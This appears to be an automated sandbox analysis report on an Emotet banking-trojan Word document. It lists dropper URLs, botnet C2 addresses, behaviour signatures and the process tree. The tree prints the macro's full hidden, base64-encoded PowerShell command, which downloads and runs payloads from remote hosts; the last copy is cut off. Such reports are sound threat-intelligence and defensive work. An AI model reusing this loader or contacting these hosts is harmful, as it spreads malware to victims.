Overview

overview

10

Static

static

8

661ff122ed...4f.doc

windows7_x64

10

661ff122ed...4f.doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    21/12/2020, 11:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    661ff122ed0c8eb978766c74324371764bd7d583d25d64faf2009d250e87d54f.doc
  • Sample201221-c733t7blb2
Score
10/10
emotetepoch3bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://riandutra.com/img/dRWJ5aN5/
  • exe.dropper

    https://mrveggy.com/erros/s0/
  • exe.dropper

    http://assecon.com.br/novoassecon/diagnostics/
  • exe.dropper

    http://siamimplement.co.th/images/System32/
  • exe.dropper

    http://megasolucoesti.com/R9KDq0O8w/Microsoft.NET/
  • exe.dropper

    http://aeropilates.cl/wp-content/Service/
  • exe.dropper

    https://mobgroup.com.br/wp-content/font/

Extracted

Family

  • emotet

Botnet

  • Epoch3

C2

  • 73.55.128.120:80

  • 175.103.38.146:80

  • 203.157.152.9:7080

  • 157.245.145.87:443

  • 195.159.28.244:8080

  • 54.38.143.245:8080

  • 2.58.16.86:8080

  • 37.46.129.215:8080

  • 78.90.78.210:80

  • 178.33.167.120:8080

  • 113.203.238.130:80

  • 37.205.9.252:7080

  • 45.230.45.171:443

  • 103.93.220.182:80

  • 190.194.12.132:80

  • 177.130.51.198:80

  • 120.51.34.254:80

  • 177.254.134.180:80

  • 121.117.147.153:443

  • 117.2.139.117:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\661ff122ed0c8eb978766c74324371764bd7d583d25d64faf2009d250e87d54f.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:660
    • C:\Windows\system32\cmd.exe
      cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUATQAgACAAKAAnAFYAYQBSACcAKwAnAEkAQQAnACsAJwBCAGwAJwArACcAZQA6AGEAdQA5AFMAJwArACcAagAyACcAKQAgACAAKABbAHQAeQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAxAH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAHMAeQBTAHQARQAnACwAJwAuACcALAAnAHIAWQAnACwAJwBkAEkAcgBlAGMAVABPACcALAAnAE0ALgBpAE8AJwApACAAIAApADsAUwBFAHQALQBJAHQARQBNACAAVgBBAFIAaQBBAEIAbABFADoAMABpAHQAIAAoACAAIABbAHQAeQBQAGUAXQAoACIAewAxAH0AewAyAH0AewAzAH0AewAwAH0AewA0AH0AIgAgAC0AZgAgACcAZQAnACwAJwBTAHkAcwB0AEUATQAuAE4AZQBUAC4AUwBlAFIAVgBpAGMARQBwAG8ASQAnACwAJwBuAFQATQBBAG4AJwAsACcAYQBnACcALAAnAHIAJwApACAAIAApADsAJABCAG0AaQAxAGsAcgBtAD0AKAAnAFQAMgAnACsAKAAnADQAbgAnACsAJwAzAGEAJwApACsAJwBuACcAKQA7ACQAUwAyAG8AOAB2AG0AbwA9ACQAVAB2AHIAYQB0AG4ANgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQgBjAGsAZwBtAGgAXwA7ACQAQgBqADYAaQBlAHoAagA9ACgAJwBQADAAJwArACgAJwA4ACcAKwAnAGgANQBlAGIAJwApACkAOwAgACAAKAAgACAAZABJAHIAIAAoACcAdgBhAHIAJwArACcAaQBBACcAKwAnAEIAbAAnACsAJwBlADoAQQB1ADkAUwAnACsAJwBKADIAJwApACAAKQAuAHYAQQBMAHUARQA6ADoAIgBjAHIAZQBBAGAAVABlAEQAYABJAGAAUgBFAEMAYABUAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA3AFEAZAAnACsAJwBKADkAJwApACsAKAAnADUAegA5AHgAJwArACcAcwAnACkAKwAoACcANwBRACcAKwAnAGQAJwApACsAKAAnAFkAdAB6ACcAKwAnAF8AJwArACcAMgB3ACcAKQArACcAegAnACsAKAAnADcAUQAnACsAJwBkACcAKQApAC4AIgBSAGUAUABgAGwAQQBgAGMAZQAiACgAKABbAEMAaABBAFIAXQA1ADUAKwBbAEMAaABBAFIAXQA4ADEAKwBbAEMAaABBAFIAXQAxADAAMAApACwAWwBzAHQAUgBJAE4ARwBdAFsAQwBoAEEAUgBdADkAMgApACkAKQA7ACQARABpAGoAZgBmAHkAeAA9ACgAKAAnAE0AJwArACcAZQB5AGkAZwAnACkAKwAnAGcAdAAnACkAOwAgACgAZwBFAHQALQB2AEEAUgBJAEEAQgBsAEUAIAAgADAAaQB0ACAAIAAtAHYAQQBMACAAIAApADoAOgAiAHMAYABFAGMAVQBSAEkAVAB5AHAAUgBPAGAAVABgAG8AQwBPAGwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAFQAMQBsAHMAZgBmAG0APQAoACgAJwBJAHUAJwArACcAcQB1ACcAKQArACcAcQB5ACcAKwAnAGsAJwApADsAJABUAHUAOABoAHoAYQBoACAAPQAgACgAJwBBAG4AJwArACgAJwBiAGQAOQAnACsAJwA2ADkAJwArACcAbwAnACkAKwAnAHgAJwApADsAJABUAF8AYgBiADEAcABxAD0AKAAoACcATAAnACsAJwBlADUAJwApACsAKAAnAHQAJwArACcAMwBhADcAJwApACkAOwAkAFUAdgBpAGMAagA2ADYAPQAoACgAJwBGADUAZQBwACcAKwAnAHcAJwApACsAJwA3ADMAJwApADsAJABVAGYAZQA1ADAAbgBiAD0AJABIAE8ATQBFACsAKAAoACcAUQBGACcAKwAoACcAMwBKACcAKwAnADkANQB6ACcAKQArACgAJwA5ACcAKwAnAHgAcwBRACcAKQArACgAJwBGADMAWQAnACsAJwB0AHoAXwAyACcAKQArACgAJwB3AHoAJwArACcAUQAnACkAKwAnAEYAJwArACcAMwAnACkALgAiAFIARQBQAGAAbABgAEEAQwBlACIAKAAoACcAUQBGACcAKwAnADMAJwApACwAJwBcACcAKQApACsAJABUAHUAOABoAHoAYQBoACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAVwBfAG8AbQBhAGwANgA9ACgAJwBDAGQAJwArACgAJwBoAGYAJwArACcAZAByACcAKQArACcAdwAnACkAOwAkAFoANwByAHIAZQA3AHEAPQBOAEUAdwAtAGAAbwBCAGAAagBlAGMAVAAgAG4AZQB0AC4AdwBlAEIAYwBMAEkARQBOAHQAOwAkAE4AZABlADAAagBnAHoAPQAoACgAKAAoACcAaAB0ACcAKwAnAHQAcAA6AEoAKQAnACsAJwAoADMAJwApACkAKwAoACgAJwBzADIAJwArACcAKQAnACkAKQArACgAKAAnACgASgAnACkAKQArACgAKAAnACkAKAAnACsAJwAzACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAHIAaQBhACcAKwAnAG4AJwArACcAZAB1AHQAcgAnACsAJwBhAC4AYwAnACsAJwBvACcAKwAnAG0ASgApACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBpAG0AZwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAnACgAJwArACgAJwBkAFIAJwArACcAVwBKACcAKQArACcANQBhACcAKwAoACgAJwBOACcAKwAnADUASgApACcAKwAnACgAMwBzADIAKQAnACkAKQArACgAKAAnACgAQABoAHQAdABwACcAKwAnAHMAOgAnACsAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABtACcAKwAnAHIAdgAnACsAJwBlACcAKQApACsAKAAnAGcAZwB5ACcAKwAnAC4AJwApACsAJwBjACcAKwAoACgAJwBvAG0AJwArACcASgApACcAKwAnACgAMwBzADIAKQAoAGUAcgByACcAKwAnAG8AcwBKACcAKwAnACkAKAAzAHMAMgApACcAKQApACsAKAAoACcAKABzADAAJwArACcASgAnACkAKQArACgAKAAnACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAEAAJwArACcAaAB0AHQAcAA6AEoAKQAnACsAJwAoADMAJwApACkAKwAoACgAJwBzADIAKQAoAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACgAYQBzAHMAZQAnACsAJwBjAG8AbgAnACsAJwAuACcAKwAnAGMAbwAnACkAKQArACgAKAAnAG0ALgAnACsAJwBiACcAKwAnAHIASgApACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgApACcAKwAnACgAbgBvACcAKwAnAHYAbwBhAHMAcwAnACsAJwBlAGMAbwBuACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzADIAJwArACcAKQAoACcAKQApACsAJwBkACcAKwAoACgAJwBpAGEAZwBuAG8AJwArACcAcwB0AGkAYwBzAEoAJwArACcAKQAnACsAJwAoADMAcwAnACsAJwAyACcAKwAnACkAJwArACcAKABAAGgAdAB0AHAAOgAnACkAKQArACgAKAAnAEoAJwArACcAKQAoADMAcwAyACcAKwAnACkAKABKACkAKAAnACsAJwAzAHMAJwApACkAKwAoACgAJwAyACkAKAAnACsAJwBzAGkAYQBtAGkAJwApACkAKwAoACcAbQAnACsAJwBwAGwAJwApACsAKAAnAGUAJwArACcAbQBlACcAKwAnAG4AdAAuACcAKQArACgAKAAnAGMAbwAnACsAJwAuAHQAJwArACcAaABKACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABpACcAKwAnAG0AJwApACkAKwAoACcAYQBnAGUAJwArACcAcwBKACcAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABTACcAKwAnAHkAcwB0AGUAbQAnACkAKQArACgAKAAnADMAMgBKACkAKAAzAHMAMgAnACsAJwApACcAKwAnACgAJwApACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAKAAnADoASgAnACsAJwApACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgApACgAJwArACcASgApACgAMwBzADIAKQAnACsAJwAoAG0AZQAnACsAJwBnACcAKQApACsAKAAnAGEAcwBvACcAKwAnAGwAJwArACcAdQBjACcAKQArACgAJwBvACcAKwAnAGUAcwAnACsAJwB0AGkALgBjAG8AJwApACsAJwBtACcAKwAoACgAJwBKACkAKAAzACcAKwAnAHMAMgApACcAKQApACsAKAAoACcAKABSACcAKQApACsAKAAnADkAJwArACcASwBEAHEAJwApACsAJwAwACcAKwAoACcATwA4ACcAKwAnAHcAJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAnACsAJwAyACkAKABNACcAKwAnAGkAJwApACkAKwAnAGMAJwArACgAJwByAG8AcwAnACsAJwBvACcAKQArACgAJwBmAHQALgAnACsAJwBOAEUAJwApACsAJwBUAEoAJwArACgAKAAnACkAKAAnACsAJwAzAHMAMgApACgAQAAnACsAJwBoAHQAJwArACcAdABwADoASgAnACkAKQArACcAKQAnACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAKABKACcAKwAnACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAJwArACcAKAAnACsAJwBhAGUAcgBvAHAAaQBsAGEAJwArACcAdABlACcAKwAnAHMAJwApACkAKwAoACgAJwAuAGMAbABKACkAJwArACcAKAAnACsAJwAzAHMAMgAnACkAKQArACcAKQAnACsAKAAnACgAdwAnACsAJwBwAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdABKACcAKwAnACkAKAAzAHMAJwArACcAMgApACcAKQArACgAKAAnACgAUwBlACcAKwAnAHIAdgAnACkAKQArACcAaQAnACsAKAAoACcAYwBlACcAKwAnAEoAKQAnACsAJwAoADMAcwAyACkAKAAnACsAJwBAAGgAdAB0AHAAJwArACcAcwA6AEoAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAJwArACcAMgApACgAJwArACcASgApACgAMwBzADIAKQAnACkAKQArACgAKAAnACgAJwArACcAbQBvAGIAZwByACcAKQApACsAKAAoACcAbwB1AHAAJwArACcALgAnACsAJwBjAG8AbQAuAGIAcgBKACkAJwArACcAKAAzAHMAMgAnACkAKQArACgAKAAnACkAKAAnACsAJwB3AHAALQBjAG8AbgB0ACcAKwAnAGUAbgAnACkAKQArACcAdABKACcAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACcAcwAyACcAKwAnACkAJwArACgAKAAnACgAZgAnACsAJwBvAG4AJwApACkAKwAoACgAJwB0AEoAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAnADMAcwAnACsAJwAyACcAKQArACgAKAAnACkAKAAnACkAKQApACkALgAiAFIAZQBgAHAATABBAGAAQwBlACIAKAAoACgAKAAoACcASgApACgAMwAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAHAAYABMAGkAVAAiACgAJABGADEAYgBuAGcAdQA4ACAAKwAgACQAUwAyAG8AOAB2AG0AbwAgACsAIAAkAEUAbAA1ADgAbABhADIAKQA7ACQASgA5AHkAMwB3AHUAaAA9ACgAKAAnAFQAJwArACcAaQAwACcAKQArACcAZgAnACsAKAAnAHgAJwArACcAegB4ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABXADAAcgBzAGUAZwA5ACAAaQBuACAAJABOAGQAZQAwAGoAZwB6ACAAfAAgAHMAYABPAHIAdAAtAG8AYgBqAGAARQBjAHQAIAB7AGcAZQBgAFQAYAAtAHIAYABBAE4ARABvAG0AfQApAHsAdAByAHkAewAkAFoANwByAHIAZQA3AHEALgAiAGQAYABvAHcAbgBsAE8AYQBgAEQARgBJAGwARQAiACgAJABXADAAcgBzAGUAZwA5ACwAIAAkAFUAZgBlADUAMABuAGIAKQA7ACQARgBkAGgANwA1AHAAMgA9ACgAJwBDACcAKwAoACcAcwAnACsAJwBnAHoAcgA5AHoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVQBmAGUANQAwAG4AYgApAC4AIgBMAEUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA5ADQAOQApACAAewAuACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABVAGYAZQA1ADAAbgBiACwAJwAjADEAJwAuACIAVABgAG8AcwB0AHIASQBOAGcAIgAoACkAOwAkAFEANABnADUANQBwAHkAPQAoACgAJwBPACcAKwAnAHcAOQB3ADIAagAnACkAKwAnAHIAJwApADsAYgByAGUAYQBrADsAJABEAHoAaQA0ADYAMQA5AD0AKAAoACcASQB6ACcAKwAnAGUAJwApACsAKAAnAG4AJwArACcAdABhADQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcANABfADcAcgA3AG8APQAoACcATwBuACcAKwAoACcAawAnACsAJwA0ADQAMQAnACkAKwAnAG0AJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:324
      • C:\Windows\system32\msg.exe
        msg Admin /v Word experienced an error trying to open the file.
        2⤵
          PID:1100
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUATQAgACAAKAAnAFYAYQBSACcAKwAnAEkAQQAnACsAJwBCAGwAJwArACcAZQA6AGEAdQA5AFMAJwArACcAagAyACcAKQAgACAAKABbAHQAeQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAxAH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAHMAeQBTAHQARQAnACwAJwAuACcALAAnAHIAWQAnACwAJwBkAEkAcgBlAGMAVABPACcALAAnAE0ALgBpAE8AJwApACAAIAApADsAUwBFAHQALQBJAHQARQBNACAAVgBBAFIAaQBBAEIAbABFADoAMABpAHQAIAAoACAAIABbAHQAeQBQAGUAXQAoACIAewAxAH0AewAyAH0AewAzAH0AewAwAH0AewA0AH0AIgAgAC0AZgAgACcAZQAnACwAJwBTAHkAcwB0AEUATQAuAE4AZQBUAC4AUwBlAFIAVgBpAGMARQBwAG8ASQAnACwAJwBuAFQATQBBAG4AJwAsACcAYQBnACcALAAnAHIAJwApACAAIAApADsAJABCAG0AaQAxAGsAcgBtAD0AKAAnAFQAMgAnACsAKAAnADQAbgAnACsAJwAzAGEAJwApACsAJwBuACcAKQA7ACQAUwAyAG8AOAB2AG0AbwA9ACQAVAB2AHIAYQB0AG4ANgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQgBjAGsAZwBtAGgAXwA7ACQAQgBqADYAaQBlAHoAagA9ACgAJwBQADAAJwArACgAJwA4ACcAKwAnAGgANQBlAGIAJwApACkAOwAgACAAKAAgACAAZABJAHIAIAAoACcAdgBhAHIAJwArACcAaQBBACcAKwAnAEIAbAAnACsAJwBlADoAQQB1ADkAUwAnACsAJwBKADIAJwApACAAKQAuAHYAQQBMAHUARQA6ADoAIgBjAHIAZQBBAGAAVABlAEQAYABJAGAAUgBFAEMAYABUAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA3AFEAZAAnACsAJwBKADkAJwApACsAKAAnADUAegA5AHgAJwArACcAcwAnACkAKwAoACcANwBRACcAKwAnAGQAJwApACsAKAAnAFkAdAB6ACcAKwAnAF8AJwArACcAMgB3ACcAKQArACcAegAnACsAKAAnADcAUQAnACsAJwBkACcAKQApAC4AIgBSAGUAUABgAGwAQQBgAGMAZQAiACgAKABbAEMAaABBAFIAXQA1ADUAKwBbAEMAaABBAFIAXQA4ADEAKwBbAEMAaABBAFIAXQAxADAAMAApACwAWwBzAHQAUgBJAE4ARwBdAFsAQwBoAEEAUgBdADkAMgApACkAKQA7ACQARABpAGoAZgBmAHkAeAA9ACgAKAAnAE0AJwArACcAZQB5AGkAZwAnACkAKwAnAGcAdAAnACkAOwAgACgAZwBFAHQALQB2AEEAUgBJAEEAQgBsAEUAIAAgADAAaQB0ACAAIAAtAHYAQQBMACAAIAApADoAOgAiAHMAYABFAGMAVQBSAEkAVAB5AHAAUgBPAGAAVABgAG8AQwBPAGwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAFQAMQBsAHMAZgBmAG0APQAoACgAJwBJAHUAJwArACcAcQB1ACcAKQArACcAcQB5ACcAKwAnAGsAJwApADsAJABUAHUAOABoAHoAYQBoACAAPQAgACgAJwBBAG4AJwArACgAJwBiAGQAOQAnACsAJwA2ADkAJwArACcAbwAnACkAKwAnAHgAJwApADsAJABUAF8AYgBiADEAcABxAD0AKAAoACcATAAnACsAJwBlADUAJwApACsAKAAnAHQAJwArACcAMwBhADcAJwApACkAOwAkAFUAdgBpAGMAagA2ADYAPQAoACgAJwBGADUAZQBwACcAKwAnAHcAJwApACsAJwA3ADMAJwApADsAJABVAGYAZQA1ADAAbgBiAD0AJABIAE8ATQBFACsAKAAoACcAUQBGACcAKwAoACcAMwBKACcAKwAnADkANQB6ACcAKQArACgAJwA5ACcAKwAnAHgAcwBRACcAKQArACgAJwBGADMAWQAnACsAJwB0AHoAXwAyACcAKQArACgAJwB3AHoAJwArACcAUQAnACkAKwAnAEYAJwArACcAMwAnACkALgAiAFIARQBQAGAAbABgAEEAQwBlACIAKAAoACcAUQBGACcAKwAnADMAJwApACwAJwBcACcAKQApACsAJABUAHUAOABoAHoAYQBoACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAVwBfAG8AbQBhAGwANgA9ACgAJwBDAGQAJwArACgAJwBoAGYAJwArACcAZAByACcAKQArACcAdwAnACkAOwAkAFoANwByAHIAZQA3AHEAPQBOAEUAdwAtAGAAbwBCAGAAagBlAGMAVAAgAG4AZQB0AC4AdwBlAEIAYwBMAEkARQBOAHQAOwAkAE4AZABlADAAagBnAHoAPQAoACgAKAAoACcAaAB0ACcAKwAnAHQAcAA6AEoAKQAnACsAJwAoADMAJwApACkAKwAoACgAJwBzADIAJwArACcAKQAnACkAKQArACgAKAAnACgASgAnACkAKQArACgAKAAnACkAKAAnACsAJwAzACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAHIAaQBhACcAKwAnAG4AJwArACcAZAB1AHQAcgAnACsAJwBhAC4AYwAnACsAJwBvACcAKwAnAG0ASgApACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBpAG0AZwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAnACgAJwArACgAJwBkAFIAJwArACcAVwBKACcAKQArACcANQBhACcAKwAoACgAJwBOACcAKwAnADUASgApACcAKwAnACgAMwBzADIAKQAnACkAKQArACgAKAAnACgAQABoAHQAdABwACcAKwAnAHMAOgAnACsAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABtACcAKwAnAHIAdgAnACsAJwBlACcAKQApACsAKAAnAGcAZwB5ACcAKwAnAC4AJwApACsAJwBjACcAKwAoACgAJwBvAG0AJwArACcASgApACcAKwAnACgAMwBzADIAKQAoAGUAcgByACcAKwAnAG8AcwBKACcAKwAnACkAKAAzAHMAMgApACcAKQApACsAKAAoACcAKABzADAAJwArACcASgAnACkAKQArACgAKAAnACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAEAAJwArACcAaAB0AHQAcAA6AEoAKQAnACsAJwAoADMAJwApACkAKwAoACgAJwBzADIAKQAoAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACgAYQBzAHMAZQAnACsAJwBjAG8AbgAnACsAJwAuACcAKwAnAGMAbwAnACkAKQArACgAKAAnAG0ALgAnACsAJwBiACcAKwAnAHIASgApACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgApACcAKwAnACgAbgBvACcAKwAnAHYAbwBhAHMAcwAnACsAJwBlAGMAbwBuACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzADIAJwArACcAKQAoACcAKQApACsAJwBkACcAKwAoACgAJwBpAGEAZwBuAG8AJwArACcAcwB0AGkAYwBzAEoAJwArACcAKQAnACsAJwAoADMAcwAnACsAJwAyACcAKwAnACkAJwArACcAKABAAGgAdAB0AHAAOgAnACkAKQArACgAKAAnAEoAJwArACcAKQAoADMAcwAyACcAKwAnACkAKABKACkAKAAnACsAJwAzAHMAJwApACkAKwAoACgAJwAyACkAKAAnACsAJwBzAGkAYQBtAGkAJwApACkAKwAoACcAbQAnACsAJwBwAGwAJwApACsAKAAnAGUAJwArACcAbQBlACcAKwAnAG4AdAAuACcAKQArACgAKAAnAGMAbwAnACsAJwAuAHQAJwArACcAaABKACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABpACcAKwAnAG0AJwApACkAKwAoACcAYQBnAGUAJwArACcAcwBKACcAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABTACcAKwAnAHkAcwB0AGUAbQAnACkAKQArACgAKAAnADMAMgBKACkAKAAzAHMAMgAnACsAJwApACcAKwAnACgAJwApACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAKAAnADoASgAnACsAJwApACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgApACgAJwArACcASgApACgAMwBzADIAKQAnACsAJwAoAG0AZQAnACsAJwBnACcAKQApACsAKAAnAGEAcwBvACcAKwAnAGwAJwArACcAdQBjACcAKQArACgAJwBvACcAKwAnAGUAcwAnACsAJwB0AGkALgBjAG8AJwApACsAJwBtACcAKwAoACgAJwBKACkAKAAzACcAKwAnAHMAMgApACcAKQApACsAKAAoACcAKABSACcAKQApACsAKAAnADkAJwArACcASwBEAHEAJwApACsAJwAwACcAKwAoACcATwA4ACcAKwAnAHcAJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAnACsAJwAyACkAKABNACcAKwAnAGkAJwApACkAKwAnAGMAJwArACgAJwByAG8AcwAnACsAJwBvACcAKQArACgAJwBmAHQALgAnACsAJwBOAEUAJwApACsAJwBUAEoAJwArACgAKAAnACkAKAAnACsAJwAzAHMAMgApACgAQAAnACsAJwBoAHQAJwArACcAdABwADoASgAnACkAKQArACcAKQAnACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAKABKACcAKwAnACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAJwArACcAKAAnACsAJwBhAGUAcgBvAHAAaQBsAGEAJwArACcAdABlACcAKwAnAHMAJwApACkAKwAoACgAJwAuAGMAbABKACkAJwArACcAKAAnACsAJwAzAHMAMgAnACkAKQArACcAKQAnACsAKAAnACgAdwAnACsAJwBwAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdABKACcAKwAnACkAKAAzAHMAJwArACcAMgApACcAKQArACgAKAAnACgAUwBlACcAKwAnAHIAdgAnACkAKQArACcAaQAnACsAKAAoACcAYwBlACcAKwAnAEoAKQAnACsAJwAoADMAcwAyACkAKAAnACsAJwBAAGgAdAB0AHAAJwArACcAcwA6AEoAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAJwArACcAMgApACgAJwArACcASgApACgAMwBzADIAKQAnACkAKQArACgAKAAnACgAJwArACcAbQBvAGIAZwByACcAKQApACsAKAAoACcAbwB1AHAAJwArACcALgAnACsAJwBjAG8AbQAuAGIAcgBKACkAJwArACcAKAAzAHMAMgAnACkAKQArACgAKAAnACkAKAAnACsAJwB3AHAALQBjAG8AbgB0ACcAKwAnAGUAbgAnACkAKQArACcAdABKACcAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACcAcwAyACcAKwAnACkAJwArACgAKAAnACgAZgAnACsAJwBvAG4AJwApACkAKwAoACgAJwB0AEoAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAnADMAcwAnACsAJwAyACcAKQArACgAKAAnACkAKAAnACkAKQApACkALgAiAFIAZQBgAHAATABBAGAAQwBlACIAKAAoACgAKAAoACcASgApACgAMwAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAHAAYABMAGkAVAAiACgAJABGADEAYgBuAGcAdQA4ACAAKwAgACQAUwAyAG8AOAB2AG0AbwAgACsAIAAkAEUAbAA1ADgAbABhADIAKQA7ACQASgA5AHkAMwB3AHUAaAA9ACgAKAAnAFQAJwArACcAaQAwACcAKQArACcAZgAnACsAKAAnAHgAJwArACcAegB4ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABXADAAcgBzAGUAZwA5ACAAaQBuACAAJABOAGQAZQAwAGoAZwB6ACAAfAAgAHMAYABPAHIAdAAtAG8AYgBqAGAARQBjAHQAIAB7AGcAZQBgAFQAYAAtAHIAYABBAE4ARABvAG0AfQApAHsAdAByAHkAewAkAFoANwByAHIAZQA3AHEALgAiAGQAYABvAHcAbgBsAE8AYQBgAEQARgBJAGwARQAiACgAJABXADAAcgBzAGUAZwA5ACwAIAAkAFUAZgBlADUAMABuAGIAKQA7ACQARgBkAGgANwA1AHAAMgA9ACgAJwBDACcAKwAoACcAcwAnACsAJwBnAHoAcgA5AHoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVQBmAGUANQAwAG4AYgApAC4AIgBMAEUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA5ADQAOQApACAAewAuACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABVAGYAZQA1ADAAbgBiACwAJwAjADEAJwAuACIAVABgAG8AcwB0AHIASQBOAGcAIgAoACkAOwAkAFEANABnADUANQBwAHkAPQAoACgAJwBPACcAKwAnAHcA